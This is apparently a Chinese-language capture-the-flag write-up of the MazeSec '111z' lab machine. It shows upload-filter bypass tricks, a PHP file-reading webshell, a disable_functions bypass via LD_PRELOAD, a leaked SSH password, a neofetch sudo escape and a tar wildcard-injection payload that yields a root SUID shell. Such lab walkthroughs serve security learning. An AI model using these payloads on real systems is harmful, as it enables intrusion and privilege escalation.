目录

MazeSec 111z

# 信息收集

# 存活主机扫描

┌──(npc㉿kali)-[~/mazesec/111z]
└─$ sudo arp-scan -I eth1 192.168.56.0/24

192.168.56.141  08:00:27:50:0d:5b       PCS Systemtechnik GmbH
1
2
3
4

# tcp全端口扫描

┌──(npc㉿kali)-[~/mazesec/111z]
└─$ nmap -p- -sT 192.168.56.141

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6

# 目录扫描

┌──(npc㉿kali)-[~]
└─$ dirsearch -u http://192.168.56.141    

[22:11:33] 200 -   86B  - /upload.php
[22:11:33] 301 -  318B  - /uploads  ->  http://192.168.56.141/uploads/
[22:11:33] 200 -  407B  - /uploads/
1
2
3
4
5
6

# 80 端口 web 服务探测

在线图床上传的web服务

(最后一版做了点小调整,ip变动忽略)

前端js里允许上传的扩展名只有图片格式,上传图片,burp抓包,发送到,后端会检测文件内容,使用evalsystem等危险函数名时会上传失败

同时还会检测分号;,php允许使用?>直接最后一个php语句不使用分号结束,可以通过多个php标签,实现执行多条php语句。返回提示,php对函数名大小写不敏感,使用大写可以绕过

访问页面报500,可能因为php配置禁用了函数,php在解析时发现函数不可用就会报错,后端返回错误码500

php官方的解释里有讲,eval并不是函数,而是一个语言构造器,disable_funtions里也ban不了这个,如果你用system函数遇到500,换成大小混写的eval试试

可以提前上传个文件读取upload.php的源码,减少waf命中,增加马子存活率

因为存在函数禁用比较严格,执行命令困难,我和MJ讨论两个方案:

  • 暂不命令执行,通过函数扫描读取文件内容,收集信息
  • 劫持LD_PRELOAD,绕过disable_functions实现命令执行

在此感谢MJ的测试和帮助

# 文件上传getshell

# 方案0:蚁剑直接读取文件

命令执行函数被禁用不影响文件读取以及目录扫描等功能,使用蚁剑直接依次查看目录及文件内容,可以发现 llpass.txt 里存放的ll用户 ssh 密码

# 方案1:上传webshell读取文件

作为一个折中的方案,在不执行命令的条件下,仅靠webshell扫描指定目录、读取敏感文件,收集信息。

<?php $dir=$_GET[1]?>
<?php $file=$_GET[2]?>
<?php echo '<pre>'?>
<?php print_r(scandir($dir))?>
<?php echo '</pre>'?>
<?php highlight_file($file)?>
1
2
3
4
5
6

效果图如下:

扫描 /opt 目录,发现 llpass.txt 文件,拿到 ll 用户的 ssh 密码

# 方案2:绕过disable_functions执行命令

上传后可以解析执行

几乎禁用了所有危险函数

因为php配置文件禁用了几乎所有命令执行函数,如果 /tmp 目录可写,并且 putenv 、mail、error_log 函数可用,可以在 /tmp 上传恶意动态链接库文件,利用 putenv 函数设置环境变量,再通过 mail 或 error_log 函数开启一个子进程加载恶意动态链接库,从而实现代码执行。

可以直接利用 中国蚁剑 的插件来实现绕过 disable_functions

检测到 putenv、error_log 可用(info.php的phpinfo页面也可以发现),选择当前webshell所在路径 /var/www/html/uploads/,绕过

新建一个webshell连接,文件名使用 .antproxy,密码还是刚刚上传的webshell密码

分析上传的恶意动态链接库文件,通过可见字符可以知道,这会使用php内置的web服务器监听在127.0.0.1:61147端口,web根目录设置为 /var/www/html,然后我们可以通过 生成的 .antproxy.php 与这个内置web服务器通信,实现命令执行

php -n -S 127.0.0.1:61147 -t /var/www/html
1

分析 .antproxy.php 文件,可以看到发给这个 .antproxy.php 的请求会被转发到 动态链接库启动的纯净php环境里执行

# ll 用户 ssh 凭证泄露

搜索近 7 天变化的文件,排除一些目录,减少噪声

find / \( -path /run -o -path /sys -o -path /proc -o -path /var/lib -o -path /dev -o -path /usr/share -o -path /var/log -o -path /var/cache -o -path /etc \) -prune -o -mtime -7 -print 2>/dev/null
(www-data:/var/www/html/uploads) $ cat /opt/llpass.txt
ll:Bp2tFMYfElkoMWlOUsOD1C30
1
2
3

可以在 /opt/llpass.txt 发现 ll 用户的 ssh 密码

或者直接使用蚁剑 翻文件看内容不去管绕过命令执行也可以

ssh 登录到 ll 用户

# sudo 权限枚举

sudo 权限枚举,发现ll用户可以无密码以 mj 用户身份运行 neofetch

gtfobins 里发现 neofetch 可以被滥用来提权,https://gtfobins.github.io/gtfobins/neofetch/ (opens new window)

# neofetch 提权到 mj 用户

创建配置文件,运行neofetch指定配置文件路径,可以执行配置文件里的命令

echo 'exec bash' > /tmp/config.txt
sudo -u mj /usr/bin/neofetch --config /tmp/config.txt
1
2

拿到 mj 用户的 shell

# 备份脚本审计

mj 用户 有 root 权限 执行 /opt/目录下的图床备份脚本

脚本内容非常简单,cd、echo命令没问题,只能是tar czf /tmp/backup.tar.gz * 这条命令有问题了,搜索 tar 命令相关提权文章可以找到,tar命令存在通配符注入漏洞,https://www.freebuf.com/articles/system/176255 (opens new window)

mj@111z:~$ cat /opt/backup/backup.sh
#!/bin/bash
# 网站上传文件备份脚本

cd /var/www/html/uploads
tar czf /tmp/backup.tar.gz *
echo "Backup completed"
1
2
3
4
5
6
7

使用man 命令查看 tar 的帮助,找到存在参数--checkpoint-action=exec=COMMAND,可以在每个检查点执行指定命令,需要有一个检查点才行,使用--checkpoint=N参数可以指定每N个个检查点执行一次

# tar 命令通配符注入提权

到 /var/www/html/uploads 目录下,创建文件名为'--checkpoint=1 --checkpoint-action=exec=sh shell.sh'、'--checkpoint=1'的两个文件

mj@111z:/var/www/html/uploads$ echo '' > '--checkpoint-action=exec=sh shell.sh'
mj@111z:/var/www/html/uploads$ echo '' > '--checkpoint=1'
1
2

shell.sh,实现获取一个 suid 的bash

echo -e '#!/bin/bash\ncp /bin/bash /var/www/html/uploads/bash\nchmod u+s /var/www/html/uploads/bash' > shell.sh
1

执行备份脚本

sudo /opt/backup/backup.sh
1

mj@111z:/var/www/html/uploads$ ./bash -p 
bash-5.0# id    
uid=1001(mj) gid=1001(mj) euid=0(root) groups=1001(mj),33(www-data)
bash-5.0# 
1
2
3
4

考点总结:

  • 前端验证绕过
  • php函数名不区分大小写
  • php 闭合标签允许最后一句不使用分号结束符
  • php标签之间共享变量
  • php disable_functions 绕过
  • ssh 凭证泄露
  • sudo 权限滥用
  • tar 通配符注入
最后一次更新于: 2025/11/23, 12:23:25